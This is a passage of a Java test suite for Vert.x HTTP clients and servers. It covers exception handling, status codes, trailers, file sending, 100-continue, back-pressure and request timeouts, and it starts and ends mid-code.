client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI).write("whatever");
fail();
} catch (IllegalStateException expected) {
}
try {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI).write("whatever", "UTF-8");
fail();
} catch (IllegalStateException expected) {
}
}
@Test
public void testClientExceptionHandlerCalledWhenFailingToConnect() throws Exception {
client.request(HttpMethod.GET, 9998, "255.255.255.255", DEFAULT_TEST_URI, resp -> fail("Connect should not be called")).
exceptionHandler(error -> testComplete()).
endHandler(done -> fail()).
end();
await();
}
@Test
public void testClientExceptionHandlerCalledWhenServerTerminatesConnection() throws Exception {
int numReqs = 10;
CountDownLatch latch = new CountDownLatch(numReqs);
server.requestHandler(request -> {
request.response().close();
}).listen(DEFAULT_HTTP_PORT, onSuccess(s -> {
// Exception handler should be called for any requests in the pipeline if connection is closed
for (int i = 0; i < numReqs; i++) {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> fail("Connect should not be called")).
exceptionHandler(error -> latch.countDown()).endHandler(done -> fail()).end();
}
}));
awaitLatch(latch);
}
@Test
public void testClientExceptionHandlerCalledWhenServerTerminatesConnectionAfterPartialResponse() throws Exception {
server.requestHandler(request -> {
//Write partial response then close connection before completing it
request.response().setChunked(true).write("foo").close();
}).listen(DEFAULT_HTTP_PORT, onSuccess(s -> {
// Exception handler should be called for any requests in the pipeline if connection is closed
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp ->
resp.exceptionHandler(t -> testComplete())).exceptionHandler(error -> fail()).end();
}));
await();
}
@Test
public void testClientExceptionHandlerCalledWhenExceptionOnDataHandler() throws Exception {
server.requestHandler(request -> {
request.response().end("foo");
}).listen(DEFAULT_HTTP_PORT, onSuccess(s -> {
// Exception handler should be called for any exceptions in the data handler
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.handler(data -> {
throw new RuntimeException("should be caught");
});
resp.exceptionHandler(t -> testComplete());
}).exceptionHandler(error -> fail()).end();
}));
await();
}
@Test
public void testClientExceptionHandlerCalledWhenExceptionOnBodyHandler() throws Exception {
server.requestHandler(request -> {
request.response().end("foo");
}).listen(DEFAULT_HTTP_PORT, onSuccess(s -> {
// Exception handler should be called for any exceptions in the data handler
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.bodyHandler(data -> {
throw new RuntimeException("should be caught");
});
resp.exceptionHandler(t -> testComplete());
}).exceptionHandler(error -> fail()).end();
}));
await();
}
@Test
public void testNoExceptionHandlerCalledWhenResponseReceivedOK() throws Exception {
server.requestHandler(request -> {
request.response().end();
}).listen(DEFAULT_HTTP_PORT, onSuccess(s -> {
client.get(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.endHandler(v -> {
vertx.setTimer(100, tid -> testComplete());
});
resp.exceptionHandler(t -> {
fail("Should not be called");
});
}).exceptionHandler(t -> {
fail("Should not be called");
}).end();
}));
await();
}
@Test
public void testServerExceptionHandlerOnClose() {
vertx.createHttpServer().requestHandler(req -> {
HttpServerResponse resp = req.response();
AtomicInteger reqExceptionHandlerCount = new AtomicInteger();
AtomicInteger respExceptionHandlerCount = new AtomicInteger();
AtomicInteger respEndHandlerCount = new AtomicInteger();
req.exceptionHandler(err -> {
assertEquals(1, reqExceptionHandlerCount.incrementAndGet());
assertEquals(0, respExceptionHandlerCount.get());
assertEquals(0, respEndHandlerCount.get());
assertTrue(resp.closed());
assertFalse(resp.ended());
try {
resp.end();
} catch (IllegalStateException ignore) {
// Expected
}
});
resp.exceptionHandler(err -> {
assertEquals(1, reqExceptionHandlerCount.get());
assertEquals(1, respExceptionHandlerCount.incrementAndGet());
assertEquals(0, respEndHandlerCount.get());
});
resp.endHandler(v -> {
assertEquals(1, reqExceptionHandlerCount.get());
assertEquals(1, respExceptionHandlerCount.get());
assertEquals(1, respEndHandlerCount.incrementAndGet());
});
req.connection().closeHandler(v -> {
assertEquals(1, reqExceptionHandlerCount.get());
assertEquals(1, respExceptionHandlerCount.get());
assertEquals(1, respEndHandlerCount.get());
testComplete();
});
}).listen(DEFAULT_HTTP_PORT, ar -> {
HttpClient client = vertx.createHttpClient();
HttpClientRequest req = client.put(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somerui", handler -> {
}).setChunked(true);
req.sendHead(v -> {
req.connection().close();
});
});
await();
}
@Test
public void testClientRequestExceptionHandlerCalledWhenConnectionClosed() throws Exception {
server.requestHandler(req -> {
req.handler(buff -> {
req.connection().close();
});
});
startServer();
HttpClientRequest req = client.post(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
resp.handler(chunk -> {
resp.request().connection().close();
});
}).setChunked(true);
req.exceptionHandler(err -> {
testComplete();
});
req.write("chunk");
await();
}
@Test
public void testClientResponseExceptionHandlerCalledWhenConnectionClosed() throws Exception {
AtomicReference<HttpConnection> conn = new AtomicReference<>();
server.requestHandler(req -> {
conn.set(req.connection());
req.response().setChunked(true).write("chunk");
});
startServer();
client.getNow(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
resp.handler(buff -> {
conn.get().close();
});
resp.exceptionHandler(err -> {
testComplete();
});
});
await();
}
@Test
public void testDefaultStatus() {
testStatusCode(-1, null);
}
@Test
public void testDefaultOther() {
// Doesn't really matter which one we choose
testStatusCode(405, null);
}
@Test
public void testOverrideStatusMessage() {
testStatusCode(404, "some message");
}
@Test
public void testOverrideDefaultStatusMessage() {
testStatusCode(-1, "some other message");
}
private void testStatusCode(int code, String statusMessage) {
server.requestHandler(req -> {
if (code != -1) {
req.response().setStatusCode(code);
}
if (statusMessage != null) {
req.response().setStatusMessage(statusMessage);
}
req.response().end();
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
int theCode;
if (code == -1) {
// Default code - 200
assertEquals(200, resp.statusCode());
theCode = 200;
} else {
theCode = code;
}
if (statusMessage != null && resp.version() != HttpVersion.HTTP_2) {
assertEquals(statusMessage, resp.statusMessage());
} else {
assertEquals(HttpResponseStatus.valueOf(theCode).reasonPhrase(), resp.statusMessage());
}
testComplete();
}).end();
}));
await();
}
@Test
public void testResponseTrailersPutAll() {
testResponseTrailers(false);
}
@Test
public void testResponseTrailersPutIndividually() {
testResponseTrailers(true);
}
private void testResponseTrailers(boolean individually) {
MultiMap trailers = getHeaders(10);
server.requestHandler(req -> {
req.response().setChunked(true);
if (individually) {
for (Map.Entry<String, String> header : trailers) {
req.response().trailers().add(header.getKey(), header.getValue());
}
} else {
req.response().trailers().setAll(trailers);
}
req.response().end();
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.endHandler(v -> {
assertEquals(trailers.size(), resp.trailers().size());
for (Map.Entry<String, String> entry : trailers) {
assertEquals(entry.getValue(), resp.trailers().get(entry.getKey()));
assertEquals(entry.getValue(), resp.getTrailer(entry.getKey()));
}
testComplete();
});
}).end();
}));
await();
}
@Test
public void testResponseNoTrailers() {
server.requestHandler(req -> {
req.response().setChunked(true);
req.response().end();
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.endHandler(v -> {
assertTrue(resp.trailers().isEmpty());
testComplete();
});
}).end();
}));
await();
}
@Test
public void testUseResponseAfterComplete() throws Exception {
server.requestHandler(req -> {
HttpServerResponse resp = req.response();
assertFalse(resp.ended());
resp.end();
assertTrue(resp.ended());
checkHttpServerResponse(resp);
testComplete();
});
startServer();
client.getNow(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler());
await();
}
private void checkHttpServerResponse(HttpServerResponse resp) {
Buffer buff = Buffer.buffer();
assertIllegalStateException(() -> resp.drainHandler(noOpHandler()));
assertIllegalStateException(() -> resp.end());
assertIllegalStateException(() -> resp.end("foo"));
assertIllegalStateException(() -> resp.end(buff));
assertIllegalStateException(() -> resp.end("foo", "UTF-8"));
assertIllegalStateException(() -> resp.exceptionHandler(noOpHandler()));
assertIllegalStateException(() -> resp.setChunked(false));
assertIllegalStateException(() -> resp.setWriteQueueMaxSize(123));
assertIllegalStateException(() -> resp.write(buff));
assertIllegalStateException(() -> resp.write("foo"));
assertIllegalStateException(() -> resp.write("foo", "UTF-8"));
assertIllegalStateException(() -> resp.write(buff));
assertIllegalStateException(() -> resp.writeQueueFull());
assertIllegalStateException(() -> resp.sendFile("asokdasokd"));
}
@Test
public void testResponseBodyBufferAtEnd() {
Buffer body = TestUtils.randomBuffer(1000);
server.requestHandler(req -> {
req.response().end(body);
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.bodyHandler(buff -> {
assertEquals(body, buff);
testComplete();
});
}).end();
}));
await();
}
@Test
public void testResponseBodyWriteChunked() {
testResponseBodyWrite(true);
}
@Test
public void testResponseBodyWriteNonChunked() {
testResponseBodyWrite(false);
}
private void testResponseBodyWrite(boolean chunked) {
Buffer body = Buffer.buffer();
int numWrites = 10;
int chunkSize = 100;
server.requestHandler(req -> {
assertFalse(req.response().headWritten());
if (chunked) {
req.response().setChunked(true);
} else {
req.response().headers().set("Content-Length", String.valueOf(numWrites * chunkSize));
}
assertFalse(req.response().headWritten());
for (int i = 0; i < numWrites; i++) {
Buffer b = TestUtils.randomBuffer(chunkSize);
body.appendBuffer(b);
req.response().write(b);
assertTrue(req.response().headWritten());
}
req.response().end();
assertTrue(req.response().headWritten());
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.bodyHandler(buff -> {
assertEquals(body, buff);
testComplete();
});
}).end();
}));
await();
}
@Test
public void testResponseBodyWriteStringChunkedDefaultEncoding() {
testResponseBodyWriteString(true, null);
}
@Test
public void testResponseBodyWriteStringChunkedUTF8() {
testResponseBodyWriteString(true, "UTF-8");
}
@Test
public void testResponseBodyWriteStringChunkedUTF16() {
testResponseBodyWriteString(true, "UTF-16");
}
@Test
public void testResponseBodyWriteStringNonChunkedDefaultEncoding() {
testResponseBodyWriteString(false, null);
}
@Test
public void testResponseBodyWriteStringNonChunkedUTF8() {
testResponseBodyWriteString(false, "UTF-8");
}
@Test
public void testResponseBodyWriteStringNonChunkedUTF16() {
testResponseBodyWriteString(false, "UTF-16");
}
private void testResponseBodyWriteString(boolean chunked, String encoding) {
String body = TestUtils.randomUnicodeString(1000);
Buffer bodyBuff;
if (encoding == null) {
bodyBuff = Buffer.buffer(body);
} else {
bodyBuff = Buffer.buffer(body, encoding);
}
server.requestHandler(req -> {
if (chunked) {
req.response().setChunked(true);
} else {
req.response().headers().set("Content-Length", String.valueOf(bodyBuff.length()));
}
if (encoding == null) {
req.response().write(body);
} else {
req.response().write(body, encoding);
}
req.response().end();
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.bodyHandler(buff -> {
assertEquals(bodyBuff, buff);
testComplete();
});
}).end();
}));
await();
}
@Test
public void testResponseWrite() {
Buffer body = TestUtils.randomBuffer(1000);
server.requestHandler(req -> {
req.response().setChunked(true);
req.response().write(body);
req.response().end();
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.POST, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.bodyHandler(buff -> {
assertEquals(body, buff);
testComplete();
});
}).end();
}));
await();
}
@Test
public void testSendFile() throws Exception {
String content = TestUtils.randomUnicodeString(10000);
sendFile("test-send-file.html", content, false);
}
@Test
public void testSendFileWithHandler() throws Exception {
String content = TestUtils.randomUnicodeString(10000);
sendFile("test-send-file.html", content, true);
}
private void sendFile(String fileName, String contentExpected, boolean handler) throws Exception {
File fileToSend = setupFile(fileName, contentExpected);
CountDownLatch latch;
if (handler) {
latch = new CountDownLatch(2);
} else {
latch = new CountDownLatch(1);
}
server.requestHandler(req -> {
if (handler) {
Handler<AsyncResult<Void>> completionHandler = onSuccess(v -> latch.countDown());
req.response().sendFile(fileToSend.getAbsolutePath(), completionHandler);
} else {
req.response().sendFile(fileToSend.getAbsolutePath());
}
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertEquals(200, resp.statusCode());
assertEquals("text/html", resp.headers().get("Content-Type"));
resp.bodyHandler(buff -> {
assertEquals(contentExpected, buff.toString());
assertEquals(fileToSend.length(), Long.parseLong(resp.headers().get("content-length")));
latch.countDown();
});
}).end();
}));
assertTrue("Timed out waiting for test to complete.", latch.await(10, TimeUnit.SECONDS));
testComplete();
}
@Test
public void testSendNonExistingFile() throws Exception {
server.requestHandler(req -> {
final Context ctx = vertx.getOrCreateContext();
req.response().sendFile("/not/existing/path", event -> {
assertEquals(ctx, vertx.getOrCreateContext());
if (event.failed()) {
req.response().end("failed");
}
});
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.bodyHandler(buff -> {
assertEquals("failed", buff.toString());
testComplete();
});
}).end();
}));
await();
}
@Test
public void testSendFileOverrideHeaders() throws Exception {
String content = TestUtils.randomUnicodeString(10000);
File file = setupFile("test-send-file.html", content);
server.requestHandler(req -> {
req.response().putHeader("Content-Type", "wibble");
req.response().sendFile(file.getAbsolutePath());
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertEquals(file.length(), Long.parseLong(resp.headers().get("content-length")));
assertEquals("wibble", resp.headers().get("content-type"));
resp.bodyHandler(buff -> {
assertEquals(content, buff.toString());
file.delete();
testComplete();
});
}).end();
}));
await();
}
@Test
public void testSendFileNotFound() throws Exception {
server.requestHandler(req -> {
req.response().putHeader("Content-Type", "wibble");
req.response().sendFile("nosuchfile.html");
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
fail("Should not receive response");
}).end();
vertx.setTimer(100, tid -> testComplete());
}));
await();
}
@Test
public void testSendFileNotFoundWithHandler() throws Exception {
server.requestHandler(req -> {
req.response().putHeader("Content-Type", "wibble");
req.response().sendFile("nosuchfile.html", onFailure(t -> {
assertTrue(t instanceof FileNotFoundException);
testComplete();
}));
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
fail("Should not receive response");
}).end();
}));
await();
}
@Test
public void testSendFileDirectoryWithHandler() throws Exception {
File dir = testFolder.newFolder();
server.requestHandler(req -> {
req.response().putHeader("Content-Type", "wibble");
req.response().sendFile(dir.getAbsolutePath(), onFailure(t -> {
assertTrue(t instanceof FileNotFoundException);
testComplete();
}));
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
fail("Should not receive response");
}).end();
}));
await();
}
@Test
public void testSendOpenRangeFileFromClasspath() {
vertx.createHttpServer(new HttpServerOptions().setPort(8080)).requestHandler(res -> {
res.response().sendFile("webroot/somefile.html", 6);
}).listen(onSuccess(res -> {
vertx.createHttpClient(new HttpClientOptions()).request(HttpMethod.GET, 8080, "localhost", "/", resp -> {
resp.bodyHandler(buff -> {
assertTrue(buff.toString().startsWith("<body>blah</body></html>"));
testComplete();
});
}).end();
}));
await();
}
@Test
public void testSendRangeFileFromClasspath() {
vertx.createHttpServer(new HttpServerOptions().setPort(8080)).requestHandler(res -> {
res.response().sendFile("webroot/somefile.html", 6, 6);
}).listen(onSuccess(res -> {
vertx.createHttpClient(new HttpClientOptions()).request(HttpMethod.GET, 8080, "localhost", "/", resp -> {
resp.bodyHandler(buff -> {
assertEquals("<body>", buff.toString());
testComplete();
});
}).end();
}));
await();
}
@Test
public void test100ContinueHandledAutomatically() throws Exception {
Buffer toSend = TestUtils.randomBuffer(1000);
server.requestHandler(req -> {
req.bodyHandler(data -> {
assertEquals(toSend, data);
req.response().end();
});
});
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.PUT, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.endHandler(v -> testComplete());
});
req.headers().set("Expect", "100-continue");
req.setChunked(true);
req.continueHandler(v -> {
req.write(toSend);
req.end();
});
req.sendHead();
}));
await();
}
@Test
public void test100ContinueHandledManually() throws Exception {
server.close();
server = vertx.createHttpServer(createBaseServerOptions());
Buffer toSend = TestUtils.randomBuffer(1000);
server.requestHandler(req -> {
assertEquals("100-continue", req.getHeader("expect"));
req.response().writeContinue();
req.bodyHandler(data -> {
assertEquals(toSend, data);
req.response().end();
});
});
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.PUT, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.endHandler(v -> testComplete());
});
req.headers().set("Expect", "100-continue");
req.setChunked(true);
req.continueHandler(v -> {
req.write(toSend);
req.end();
});
req.sendHead();
}));
await();
}
@Test
public void test100ContinueRejectedManually() throws Exception {
server.close();
server = vertx.createHttpServer(createBaseServerOptions());
server.requestHandler(req -> {
req.response().setStatusCode(405).end();
req.bodyHandler(data -> {
fail("body should not be received");
});
});
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.PUT, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertEquals(405, resp.statusCode());
testComplete();
});
req.headers().set("Expect", "100-continue");
req.setChunked(true);
req.continueHandler(v -> {
fail("should not be called");
});
req.sendHead();
}));
await();
}
@Test
public void testClientDrainHandler() {
pausingServer(resumeFuture -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler());
req.setChunked(true);
assertFalse(req.writeQueueFull());
req.setWriteQueueMaxSize(1000);
Buffer buff = TestUtils.randomBuffer(10000);
vertx.setPeriodic(1, id -> {
req.write(buff);
if (req.writeQueueFull()) {
vertx.cancelTimer(id);
req.drainHandler(v -> {
assertFalse(req.writeQueueFull());
testComplete();
});
// Tell the server to resume
resumeFuture.complete();
}
});
});
await();
}
@Test
public void testClientRequestExceptionHandlerCalledWhenExceptionOnDrainHandler() {
pausingServer(resumeFuture -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler());
req.setChunked(true);
assertFalse(req.writeQueueFull());
req.setWriteQueueMaxSize(1000);
Buffer buff = TestUtils.randomBuffer(10000);
AtomicBoolean failed = new AtomicBoolean();
vertx.setPeriodic(1, id -> {
req.write(buff);
if (req.writeQueueFull()) {
vertx.cancelTimer(id);
req.drainHandler(v -> {
throw new RuntimeException("error");
})
.exceptionHandler(t -> {
// Called a second times when testComplete is called and close the http client
if (failed.compareAndSet(false, true)) {
testComplete();
}
});
// Tell the server to resume
resumeFuture.complete();
}
});
});
await();
}
private void pausingServer(Consumer<Future<Void>> consumer) {
Future<Void> resumeFuture = Future.future();
server.requestHandler(req -> {
req.response().setChunked(true);
req.pause();
Context ctx = vertx.getOrCreateContext();
resumeFuture.setHandler(v1 -> {
ctx.runOnContext(v2 -> {
req.resume();
});
});
req.handler(buff -> {
req.response().write(buff);
});
});
server.listen(onSuccess(s -> consumer.accept(resumeFuture)));
}
@Test
public void testServerDrainHandler() {
drainingServer(resumeFuture -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.pause();
resumeFuture.setHandler(ar -> resp.resume());
}).end();
});
await();
}
private void drainingServer(Consumer<Future<Void>> consumer) {
Future<Void> resumeFuture = Future.future();
server.requestHandler(req -> {
req.response().setChunked(true);
assertFalse(req.response().writeQueueFull());
req.response().setWriteQueueMaxSize(1000);
Buffer buff = TestUtils.randomBuffer(10000);
//Send data until the buffer is full
vertx.setPeriodic(1, id -> {
req.response().write(buff);
if (req.response().writeQueueFull()) {
vertx.cancelTimer(id);
req.response().drainHandler(v -> {
assertFalse(req.response().writeQueueFull());
testComplete();
});
// Tell the client to resume
resumeFuture.complete();
}
});
});
server.listen(onSuccess(s -> consumer.accept(resumeFuture)));
}
@Test
public void testConnectionErrorsGetReportedToRequest() throws InterruptedException {
AtomicInteger req1Exceptions = new AtomicInteger();
AtomicInteger req2Exceptions = new AtomicInteger();
AtomicInteger req3Exceptions = new AtomicInteger();
CountDownLatch latch = new CountDownLatch(3);
// This one should cause an error in the Client Exception handler, because it has no exception handler set specifically.
HttpClientRequest req1 = client.request(HttpMethod.GET, 9998, DEFAULT_HTTP_HOST, "someurl1", resp -> {
fail("Should never get a response on a bad port, if you see this message than you are running an http server on port 9998");
});
req1.exceptionHandler(t -> {
assertEquals("More than one call to req1 exception handler was not expected", 1, req1Exceptions.incrementAndGet());
latch.countDown();
});
HttpClientRequest req2 = client.request(HttpMethod.GET, 9998, DEFAULT_HTTP_HOST, "someurl2", resp -> {
fail("Should never get a response on a bad port, if you see this message than you are running an http server on port 9998");
});
req2.exceptionHandler(t -> {
assertEquals("More than one call to req2 exception handler was not expected", 1, req2Exceptions.incrementAndGet());
latch.countDown();
});
HttpClientRequest req3 = client.request(HttpMethod.GET, 9998, DEFAULT_HTTP_HOST, "someurl2", resp -> {
fail("Should never get a response on a bad port, if you see this message than you are running an http server on port 9998");
});
req3.exceptionHandler(t -> {
assertEquals("More than one call to req2 exception handler was not expected", 1, req3Exceptions.incrementAndGet());
latch.countDown();
});
req1.end();
req2.end();
req3.end();
awaitLatch(latch);
testComplete();
}
@Test
public void testRequestTimesoutWhenIndicatedPeriodExpiresWithoutAResponseFromRemoteServer() {
server.requestHandler(noOpHandler()); // No response handler so timeout triggers
AtomicBoolean failed = new AtomicBoolean();
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
fail("End should not be called because the request should timeout");
});
req.exceptionHandler(t -> {
// Catch the first, the second is going to be a connection closed exception when the
// server is shutdown on testComplete
if (failed.compareAndSet(false, true)) {
assertTrue("Expected to end with timeout exception but ended with other exception: " + t, t instanceof TimeoutException);
testComplete();
}
});
req.setTimeout(1000);
req.end();
}));
await();
}
@Test
public void testRequestTimeoutCanceledWhenRequestHasAnOtherError() {
AtomicReference<Throwable> exception = new AtomicReference<>();
// There is no server running, should fail to connect
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
fail("End should not be called because the request should fail to connect");
});
req.exceptionHandler(exception::set);
req.setTimeout(800);
req.end();
vertx.setTimer(1500, id -> {
assertNotNull("Expected an exception to be set", exception.get());
assertFalse("Expected to not end with timeout exception, but did: " + exception.get(), exception.get() instanceof TimeoutException);
testComplete();
});
await();
}
@Test
public void testRequestTimeoutCanceledWhenRequestEndsNormally() {
server.requestHandler(req -> req.response().end());
server.listen(onSuccess(s -> {
AtomicReference<Throwable> exception = new AtomicReference<>();
// There is no server running, should fail to connect
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler());
req.exceptionHandler(exception::set);
req.setTimeout(500);
req.end();
vertx.setTimer(1000, id -> {
assertNull("Did not expect any exception", exception.get());
testComplete();
});
}));
await();
}
@Test
public void testRequestNotReceivedIfTimedout() {
server.requestHandler(req -> {
vertx.setTimer(500, id -> {
req.response().setStatusCode(200);
req.response().end("OK");
});
});
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> fail("Response should not be handled"));
req.exceptionHandler(t -> {
assertTrue("Expected to end with timeout exception but ended with other exception: " + t, t instanceof TimeoutException);
//Delay a bit to let any response come back
vertx.setTimer(500, id -> testComplete());
});
req.setTimeout(100);
req.end();
}));
await();
}
@Test
public void testConnectInvalidPort() {
client.request(HttpMethod.GET, 9998, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> fail("Connect should not be called")).
exceptionHandler(t -> testComplete()).
end();
await();
}
@Test
public void testConnectInvalidHost() {
client.request(HttpMethod.GET, 9998, "255.255.255.255", DEFAULT_TEST_URI, resp -> fail("Connect should not be called")).
exceptionHandler(t -> testComplete()).
end();
await();
}
@Test
public void testSetHandlersAfterListening() throws Exception {
server.requestHandler(noOpHandler());
server.listen(onSuccess(s -> {
assertIllegalStateException(() -> server.requestHandler(noOpHandler()));
assertIllegalStateException(() -> server.websocketHandler(noOpHandler()));
testComplete();
}));
await();
}
@Test
public void testSetHandlersAfterListening2() throws Exception {
server.requestHandler(noOpHandler());
server.listen(onSuccess(v -> testComplete()));
assertIllegalStateException(() -> server.requestHandler(noOpHandler()));
assertIllegalStateException(() -> server.websocketHandler(noOpHandler()));
await();
}
@Test
public void testListenNoHandlers() throws Exception {
assertIllegalStateException(() -> server.listen(ar -> {
}));
}
@Test
public void testListenNoHandlers2() throws Exception {
assertIllegalStateException(() -> server.listen());
}
@Test
public void testListenTwice() throws Exception {
server.requestHandler(noOpHandler());
server.listen(onSuccess(v -> testComplete()));
assertIllegalStateException(() -> server.listen());
await();
}
@Test
public void testListenTwice2() throws Exception {
server.requestHandler(noOpHandler());
server.listen(ar -> {
assertTrue(ar.succeeded());
assertIllegalStateException(() -> server.listen());
testComplete();
});
await();
}
@Test
public void testHeadNoBody() {
server.requestHandler(req -> {
assertEquals(HttpMethod.HEAD, req.method());
// Head never contains a body but it can contain a Content-Length header
// Since headers from HEAD must correspond EXACTLY with corresponding headers for GET
req.response().headers().set("Content-Length", String.valueOf(41));
req.response().end();
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.HEAD, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertEquals(41, Integer.parseInt(resp.headers().get("Content-Length")));
resp.endHandler(v -> testComplete());
}).end();
}));
await();
}
@Test
public void testRemoteAddress() {
server.requestHandler(req -> {
assertEquals("127.0.0.1", req.remoteAddress().host());
req.response().end();
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> resp.endHandler(v -> testComplete())).end();
}));
await();
}
@Test
public void testGetAbsoluteURI() {
server.requestHandler(req -> {
assertEquals(req.scheme() + "://localhost:" + DEFAULT_HTTP_PORT + "/foo/bar", req.absoluteURI());
req.response().end();
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/foo/bar", resp -> resp.endHandler(v -> testComplete())).end();
}));
await();
}
@Test
public void testListenInvalidPort() throws Exception {
/* Port 7 is free for use by any application in Windows, so this test fails. */
Assume.assumeFalse(System.getProperty("os.name").startsWith("Windows"));
server.close();
server = vertx.createHttpServer(new HttpServerOptions().setPort(7));
server.requestHandler(noOpHandler()).listen(onFailure(server -> testComplete()));
await();
}
@Test
public void testListenInvalidHost() {
server.close();
server = vertx.createHttpServer(new HttpServerOptions().setPort(DEFAULT_HTTP_PORT).setHost("iqwjdoqiwjdoiqwdiojwd"));
server.requestHandler(noOpHandler());
server.listen(onFailure(s -> testComplete()));
}
@Test
public void testPauseClientResponse() {
int numWrites = 10;
int numBytes = 100;
server.requestHandler(req -> {
req.response().setChunked(true);
// Send back a big response in several chunks
for (int i = 0; i < numWrites; i++) {
req.response().write(TestUtils.randomBuffer(numBytes));
}
req.response().end();
});
AtomicBoolean paused = new AtomicBoolean();
Buffer totBuff = Buffer.buffer();
HttpClientRequest clientRequest = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.pause();
paused.set(true);
resp.handler(chunk -> {
if (paused.get()) {
fail("Shouldn't receive chunks when paused");
} else {
totBuff.appendBuffer(chunk);
}
});
resp.endHandler(v -> {
if (paused.get()) {
fail("Shouldn't receive chunks when paused");
} else {
assertEquals(numWrites * numBytes, totBuff.length());
testComplete();
}
});
vertx.setTimer(500, id -> {
paused.set(false);
resp.resume();
});
});
server.listen(onSuccess(s -> clientRequest.end()));
await();
}
@Test
public void testDeliverPausedBufferWhenResume() throws Exception {
testDeliverPausedBufferWhenResume(block -> vertx.setTimer(10, id -> block.run()));
}
@Test
public void testDeliverPausedBufferWhenResumeOnOtherThread() throws Exception {
